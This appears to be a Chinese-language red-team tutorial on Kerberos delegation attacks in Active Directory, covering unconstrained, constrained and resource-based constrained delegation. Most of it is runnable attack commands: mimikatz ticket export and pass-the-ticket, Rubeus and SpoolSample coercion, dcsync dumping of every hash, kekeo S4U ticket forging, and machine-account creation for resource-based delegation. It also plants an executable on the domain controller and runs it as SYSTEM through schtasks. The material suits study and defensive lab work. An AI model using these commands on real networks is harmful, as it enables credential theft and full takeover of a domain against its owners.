【内网横向】内网渗透横向移动—委派攻击
【内网横向】内网渗透横向移动:委派攻击
一、委派介绍
1、委派简介
在内网身份认证的Kerberos
认证中,需要经过两次票据认证,分别是TGT 和ST 认证。那么此时有一种服务,我们可以委托中间商帮我们进行票据认证,而不必我们亲自前往认证,那么这种服务就是委派。
但如果设置了不正确的委派,可能会被恶意利用,加速内网的沦陷。
2、委派的分类
- 非约束性委派:即没有服务访问限制的委派,委派了任何服务
- 约束性委派:有服务访问限制,只能访问指定的服务
- 基于资源的委派:在Windows Server 2012中引入,不需要域管理员权限就可以进行设置,可以将资源委派给受信任的账户。约束性委派不能跨域委派,而基于资源的约束性委派可以跨域和林
3、委派攻击的工作场景
此时就是web系统被赋予了委派,用户A去访问web系统的时候,KDC将会把用户A 的TGT给web,web就可以拿着A的TGT去访问文件服务器。如果用户A是域管的话,将会有很多的权限。
4、设置委派
在域内只有主机账号和服务账号才有委派属性。
主机账号:活动目录中的computers组内的计算机,也被称为机器账号。(域委派只能给某个域机器或机器上的服务账号,域管也不能给。)
服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。
1、创建服务账号
服务账号:如SQLServer、MYSQL等。创建服务账号:
1 | net user test123 Admin@123 /add /domain //创建一个普通用户 |
2、开启委派如图
二、非约束性委派攻击
1、非约束性委派攻击利用原理
若某台主机被设置为了非约束委派时,当一个用户访问此主机时,会把自己的TGT发送给此主机,同时,此TGT会被保存在该主机内存(lsass.exe)中以便后续使用,如果我们可以诱导域控制器访问此主机,域控制器就会把它的TGT发送到此主机上,如果我们可以获取到与控制器的TGT就可以生成黄金票据。
利用前提:我们此时控制了web机器,并且web机器被赋予了非约束性委派。此时只需要让域管这个账号访问web机器,web机器就能拿到域管的TGT,那么就可以制作黄金票据,进而就可以访问任何机器。
1、查询非约束性委派机器和用户信息
1 | //需要域用户权限,下面填写god.org就可以了。 |
2、利用非约束性委派域控主动访问控制域
1、实验环境:
一台域控DC、一台域内web机器。
实验前提:我们控制了web机器,且此web机器的配置了非约束性委派。
2、实验步骤
我们在web机器上先去访问域控,是不能访问的。
1
dir \\dc.hack.com\c$
在域控上主动访问web机器(在实战中是需要需要等待域管去访问我们控制的这台web机器,这样就拿到了域管的TGT)。
1
2net use \\PC-WEB.HACK.COM /user:hack\administrator Admin@123
//在域控上执行,使用域管的账号密码。来模拟域管访问web机器。回到web机器,导出票据
1
mimikatz sekurlsa::tickets /export
进行导入票据传递获取域控权限
1
mimikatz kerberos::ptt [0;54acdf]-2-0-60a10000-Administrator@krbtgt-HACK.COM.kirbi
再次访问域控成功
1
shell dir \\dc.hack.com\c$
配合计划任务等上线DC
1
2
3copy 123.exe \\dc.hack.com\C$
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\123.exe /ru system /f
shell schtasks /run /s dc.hack.com /i /tn "test"
3、利用非约束性委派域控被动访问控制域控
1、实验环境
一台DC域控、一台OA域内机器,跟上述实验的web的性质是一样。
实验前提:控制了OA,且OA有非约束性委派。
2、实验思路
一般域管不会主动访问我们,我们可以利用windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启动的方法。域用户可以使用MS-RPRN方法强制任何运行了Spooler服务的计算机通过kerberos协议或者NTLM对攻击者选择的目标进行身份验证。
非约束性委派结合Spooler打印机服务漏洞,让域控机DC强制访问有非约束性委派的OA机器,从而拿到域管的TGT,进而控制域管。(2008可能复现不来,版本问题)
3、实验步骤
利用Rubeus在OA上以管理员权限执行以下命令,作用是每隔一秒监听来自域控机器DC的登陆信息
1
2Rubeus.exe monitor /interval:1 /filteruser:DC$
//DC$是机器名再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行。
1
SpoolSample.exe DC OA //强制让DC访问OA
Rubeus监听到票据。
Rubeus导入票据
1
2
3Rubeus.exe ptt /ticket:票据内容
//票据内容就是长长的一大坨的Beas64编码的内容
//注意不能有空格,且该票并不是黄金白银票据,不能访问DC的文件利用该票据通过mimikatz获取与用户的hash
1
lsadump::dcsync /all /csv
得到与用户的NTLM
1
2krbtgt用户的NTLM可以制作黄金票据
Administrator的NTLM可以进行hash传递的PTH攻击如果制作黄金票据,可以利用计划任务等上线
1
2
3
4copy 123.exe \\dc.hack.com\C$
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\123.exe /ru
system /f
shell schtasks /run /s dc.hack.com /i /tn "test"
4、构造服务账户票据控制域控
1、实验前提
服务账户设置了非约束性委派
已知服务账户的密码口令信息
2、实验步骤
使用 adfifind发现服务账号test设置了非约束委派
1
2AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306368)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn构造服务账户TGT的票据
1
2kekeo.exe "tgt::ask /user:test /domain:hack.com /password:Admin@123
/ticket:test.kirbi" "exit"利用刚才伪造的TGT票据,向域服务器申请CIFS服务票据
1
2kekeo.exe "Tgs::s4u /tgt:TGT_test@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi
/user:administrator@hack.com /service:cifs/DC.HACK.COM" "exit"使用mimikatz将该票据注入当前的会话中
1
2kerberos::purge #先清空票据
mimikatz kerberos::ptt TGS_administrator@hack.com@HACK.COM_test@HACK.COM.kirbi访问域控
1
shell dir \\dc.hack.com\c$
三、约束性委派攻击
1、添加约束性委派
2、查询约束性委派机器和用户信息
1 | //需要域用户权限 |
至此限制了我们只能打DC这一台机器,且只能访问cifs服务,不能访问其他服务,无法上传木马上线。
2、实验场景
实验前提:我们已经控制了ZS的电脑,发现该电脑配置了约束性的委派,并且可以读取到该电脑的机器用户的HASH值。
3、实验步骤
使用mimikatz获取本地机器账户有约束性委派权限的NTLM Hash
1
mimikatz sekurlsa::logonpasswords
使用kekeo申请配置了约束委派机器账户PC-ZS$的TGT
1
kekeo "tgt::ask /user:PC-ZS$ /NTLM:bd41aace231471169d848817a2c46178 /domain:hack.com" "exit"
利用TGT通过伪造S4U请求以administrator身份访问PC-ZS的ST
1
2kekeo "tgs::s4u /tgt:TGT_PC-ZS$@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi
/user:Administrator@hack.com /service:cifs/dc.hack.com" "exit"注入票据
1
2
3kerberos::purge #先清空票据
mimikatz kerberos::ptt
TGS_Administrator@hack.com@HACK.COM_cifs~dc.hack.com@HACK.COM.kirbi访问域控
1
2shell dir \\dc.hack.com\C$
//注意,此时只有CIFS文件共享服务票据,没有host服务票据票据。
四、基于资源的约束性委派攻击
一、基于资源的约束性委派介绍
基于资源的约束性委派:为了使⽤户/资源更加独⽴,微软在Windows Server 2012中引⼊了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置相关属性,⽽是将设置委派的权限交给了服务机器。服务机器在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性,就可以进行基于资源的约束委派。
2008 及以下的域控没有 msDS-AllowedToActOnBehalfOfOtherIdentity 这个属性,只有 Windows Server 2012 和 Windows Server 2012 R2 及以上的域控制器才有 msDS-AllowedToActOnBehalfOfOtherIdentity 这个属性
二、攻击前提
- 具有对主机修改
msDS-AllowedToActOnBehalfOfOtherIdentity
属性的权限 - 可以创建机器账户(或已知机器账户)
什么用户具备修改msDS-AllowedToActOnBehalfOfOtherIdentity
属性的权限呢?
- 将该主机加入域的用户账户
账户中有一个mSDS-CreatorSID
属性,用于标记加入域时使用的用户账户SID值,进一步就可以知道一些具有加入域权限的用户账户了! - Account Operator组成员
- 该主机的机器账户
谁可以创建机器账户呢?
对于一般域成员,由msDS-MachineAccountQuota
(可以在域控)属性决定,默认可以创建10个机器账户。
可以在域控中输入 adsiedit.msc
(ADSI编辑器)中右击-“连接到”-点击确定,右键 “DC=xxx DC=”com” 单击“属性”,ms-DS-MachineAccountQuota
属性值为10,说明了一个普通的域用户可以将10台主机加入到域
三、环境配置
域:god.org
- 域控:192.168.31.58(Windows server 2012)
- stu1主机:192.168.31.52(win7域机器)
1、新建一个普通域用户test
2、将之前加入域的win7退出域,修改计算机名,使用普通域用户test
再加入域
重启计算机,成功加入域god.org
,并使用test 域用户进入计算机
四、目标查询
为了实验真实,直接用cs来操作
查看本地管理员组
1 | net localgroup administrators |
可以看到test
用户不在本地管理员组中,test
用户负责将stu2
机器加入到域中,那么我们拿到这个test
用户权限之后,就可以拿下域内stu2
或其他被test
用户加入到域内的机器
1、核心目标查询(由机器找到对应的用户)
核心目标:找到可修改该机器msDS-AllowedToActOnBehalfOfOtherIdentity的用户,也就是查询机器是由哪个域用户添加进域的
1 | //通过adfind.exe查找机器账户的mS-DS-CreatorSID属性 |
我们知道将机器加入到域的域用户SID值,却不知道对应的用户名
查询SID的方法有很多
1 | //1、查询当前用户的SID值 |
可以看到,该SID值对应的正好是当前用户test
1、核心目标查询(由当前用户找到对应的机器)
核心目标:由已知用户查找到通过该用户加入域中的机器,需要使用PowerView.ps1
工具
1 | # 查用户账户SID |
五、攻击利用
1、攻击方式1:修改委派属性拿下主机
关键:能修改那台服务资源的委派属性,就可以拿下该台主机
利用条件:
- 允许创建机器账户
- 具有管理主机加入域的用户账户
1、添加机器账户
方法一:利用powermad 添加机器账户
用到Powermad.ps1 脚本,往域中添加一个机器账户test1$
1 | Set-ExecutionPolicy Bypass -Scope Process |
这里在cs 中执行失败,推测应该使用msf 类型的交互式powershell执行。不过作为练习,可以直接在靶机中执行,将会执行成功。
此时就有了⼀个域机器账户test1$
,通过net group "domain computers" /domain
命令可以查看到
方法二:利用Sharpmad工具添加机器用户
用到Sharpmad工具,Powermad 的 C# 版本,都方便 CobaltStrike 内存加载
1 | Sharpmad.exe MAQ -Action new -MachineAccount test1 -MachinePassword pass@1234! |
方法三:addcomputer.py
脚本
1 | python3 addcomputer.py -computer-name machine1 -computer-pass 1qaz@WSX -dc-ip 192.168.11.11 attack.cn/zhang:321.com -method SAMR -debug |
方法四:使用bloodyAD工具创建机器账户
1 | python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT01 'Passw0rd' |
2、获取新增机器用户的SID
获取新建的机器用户test1$
的sid 值
方式一:基于Microsoft.ActiveDirectory.Management.dll at master · 3gstudent/test工具
1 | import-module .\Microsoft.ActiveDirectory.Management.dll |
方式二:使用PowerView工具查询机器账户SID
1 | Powershell -ExecutionPolicy Bypass |
3、设置基于资源的委派属性
使用PowerView
脚本修改机器用户的msds-allowedtoactonbehalfofotheridentity
值:
1 | Powershell -ExecutionPolicy Bypass |
查询属性(后一条命令使用到了ActiveDirectory模块,域控默认带)
1 | powerpick Get-DomainComputer SERVER2012 -Properties msds-allowedtoactonbehalfofotheridentity |
1 | # 域控查询命令 |
4、票据申请
方法一:
使⽤ impacket 的 getST.py ⽣成票据(建议使⽤ socks5),会在当前⽬录下⽣administrator.ccache ⽂件:
1 | pip install six pyasn1 impacket |
mimikatz导入票据
1 | mimikatz "kerberos::ptc administrator.ccache" |
注入后,成功访问
方法二:
使用Rubeus申请票据
1 | # 通过Rubeus申请机器账户CPT01$的TGT |